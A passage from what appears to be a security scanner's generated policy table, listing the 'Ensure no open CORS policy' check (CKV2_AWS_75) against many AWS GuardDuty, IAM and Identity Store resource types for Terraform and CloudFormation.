[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3810 | CKV2_AWS_75              | resource                         | aws_guardduty_ipset                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3811 | CKV2_AWS_75              | resource                         | aws_guardduty_malware_protection_plan                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3812 | CKV2_AWS_75              | resource                         | aws_guardduty_malware_protection_plan                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3813 | CKV2_AWS_75              | resource                         | aws_guardduty_member                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3814 | CKV2_AWS_75              | resource                         | aws_guardduty_member                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3815 | CKV2_AWS_75              | resource                         | aws_guardduty_member_detector_feature                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3816 | CKV2_AWS_75              | resource                         | aws_guardduty_member_detector_feature                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3817 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_admin_account                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3818 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_admin_account                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3819 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3820 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3821 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_configuration_feature                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3822 | CKV2_AWS_75              | resource                         | aws_guardduty_organization_configuration_feature                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3823 | CKV2_AWS_75              | resource                         | aws_guardduty_publishing_destination                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3824 | CKV2_AWS_75              | resource                         | aws_guardduty_publishing_destination                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3825 | CKV2_AWS_75              | resource                         | aws_guardduty_threatintelset                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3826 | CKV2_AWS_75              | resource                         | aws_guardduty_threatintelset                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3827 | CKV2_AWS_75              | resource                         | aws_iam_access_key                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3828 | CKV2_AWS_75              | resource                         | aws_iam_access_key                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3829 | CKV2_AWS_75              | resource                         | aws_iam_account_alias                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3830 | CKV2_AWS_75              | resource                         | aws_iam_account_alias                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3831 | CKV2_AWS_75              | resource                         | aws_iam_account_password_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3832 | CKV2_AWS_75              | resource                         | aws_iam_account_password_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3833 | CKV2_AWS_75              | resource                         | aws_iam_group                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3834 | CKV2_AWS_75              | resource                         | aws_iam_group                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3835 | CKV2_AWS_75              | resource                         | aws_iam_group_membership                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3836 | CKV2_AWS_75              | resource                         | aws_iam_group_membership                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3837 | CKV2_AWS_75              | resource                         | aws_iam_group_policies_exclusive                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3838 | CKV2_AWS_75              | resource                         | aws_iam_group_policies_exclusive                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3839 | CKV2_AWS_75              | resource                         | aws_iam_group_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3840 | CKV2_AWS_75              | resource                         | aws_iam_group_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3841 | CKV2_AWS_75              | resource                         | aws_iam_group_policy_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3842 | CKV2_AWS_75              | resource                         | aws_iam_group_policy_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3843 | CKV2_AWS_75              | resource                         | aws_iam_group_policy_attachments_exclusive                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3844 | CKV2_AWS_75              | resource                         | aws_iam_group_policy_attachments_exclusive                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3845 | CKV2_AWS_75              | resource                         | aws_iam_instance_profile                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3846 | CKV2_AWS_75              | resource                         | aws_iam_instance_profile                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3847 | CKV2_AWS_75              | resource                         | aws_iam_openid_connect_provider                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3848 | CKV2_AWS_75              | resource                         | aws_iam_openid_connect_provider                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3849 | CKV2_AWS_75              | resource                         | aws_iam_organizations_features                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3850 | CKV2_AWS_75              | resource                         | aws_iam_organizations_features                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3851 | CKV2_AWS_75              | resource                         | aws_iam_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3852 | CKV2_AWS_75              | resource                         | aws_iam_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3853 | CKV2_AWS_75              | resource                         | aws_iam_policy_attachment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3854 | CKV2_AWS_75              | resource                         | aws_iam_policy_attachment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3855 | CKV2_AWS_75              | resource                         | aws_iam_policy_document                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3856 | CKV2_AWS_75              | resource                         | aws_iam_policy_document                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3857 | CKV2_AWS_75              | resource                         | aws_iam_role                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3858 | CKV2_AWS_75              | resource                         | aws_iam_role                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3859 | CKV2_AWS_75              | resource                         | aws_iam_role_policies_exclusive                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3860 | CKV2_AWS_75              | resource                         | aws_iam_role_policies_exclusive                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3861 | CKV2_AWS_75              | resource                         | aws_iam_role_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3862 | CKV2_AWS_75              | resource                         | aws_iam_role_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3863 | CKV2_AWS_75              | resource                         | aws_iam_role_policy_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3864 | CKV2_AWS_75              | resource                         | aws_iam_role_policy_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3865 | CKV2_AWS_75              | resource                         | aws_iam_role_policy_attachments_exclusive                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3866 | CKV2_AWS_75              | resource                         | aws_iam_role_policy_attachments_exclusive                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3867 | CKV2_AWS_75              | resource                         | aws_iam_saml_provider                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3868 | CKV2_AWS_75              | resource                         | aws_iam_saml_provider                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3869 | CKV2_AWS_75              | resource                         | aws_iam_security_token_service_preferences                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3870 | CKV2_AWS_75              | resource                         | aws_iam_security_token_service_preferences                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3871 | CKV2_AWS_75              | resource                         | aws_iam_server_certificate                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3872 | CKV2_AWS_75              | resource                         | aws_iam_server_certificate                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3873 | CKV2_AWS_75              | resource                         | aws_iam_service_linked_role                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3874 | CKV2_AWS_75              | resource                         | aws_iam_service_linked_role                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3875 | CKV2_AWS_75              | resource                         | aws_iam_service_specific_credential                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3876 | CKV2_AWS_75              | resource                         | aws_iam_service_specific_credential                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3877 | CKV2_AWS_75              | resource                         | aws_iam_signing_certificate                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3878 | CKV2_AWS_75              | resource                         | aws_iam_signing_certificate                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3879 | CKV2_AWS_75              | resource                         | aws_iam_user                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3880 | CKV2_AWS_75              | resource                         | aws_iam_user                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3881 | CKV2_AWS_75              | resource                         | aws_iam_user_group_membership                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3882 | CKV2_AWS_75              | resource                         | aws_iam_user_group_membership                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3883 | CKV2_AWS_75              | resource                         | aws_iam_user_login_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3884 | CKV2_AWS_75              | resource                         | aws_iam_user_login_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3885 | CKV2_AWS_75              | resource                         | aws_iam_user_policies_exclusive                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3886 | CKV2_AWS_75              | resource                         | aws_iam_user_policies_exclusive                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3887 | CKV2_AWS_75              | resource                         | aws_iam_user_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3888 | CKV2_AWS_75              | resource                         | aws_iam_user_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3889 | CKV2_AWS_75              | resource                         | aws_iam_user_policy_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3890 | CKV2_AWS_75              | resource                         | aws_iam_user_policy_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3891 | CKV2_AWS_75              | resource                         | aws_iam_user_policy_attachments_exclusive                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3892 | CKV2_AWS_75              | resource                         | aws_iam_user_policy_attachments_exclusive                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3893 | CKV2_AWS_75              | resource                         | aws_iam_user_ssh_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3894 | CKV2_AWS_75              | resource                         | aws_iam_user_ssh_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3895 | CKV2_AWS_75              | resource                         | aws_iam_virtual_mfa_device                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3896 | CKV2_AWS_75              | resource                         | aws_iam_virtual_mfa_device                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3897 | CKV2_AWS_75              | resource                         | aws_identitystore_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3898 | CKV2_AWS_75              | resource                         | aws_identitystore_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3899 | CKV2_AWS_75              | resource                         | aws_identitystore_group_membership                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3900 | CKV2_AWS_75              | resource                         | aws_identitystore_group_membership                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3901 | CKV2_AWS_75              | resource                         | aws_identitystore_user                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3902 | CKV2_AWS_75              | resource                         | aws_identitystore_user                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 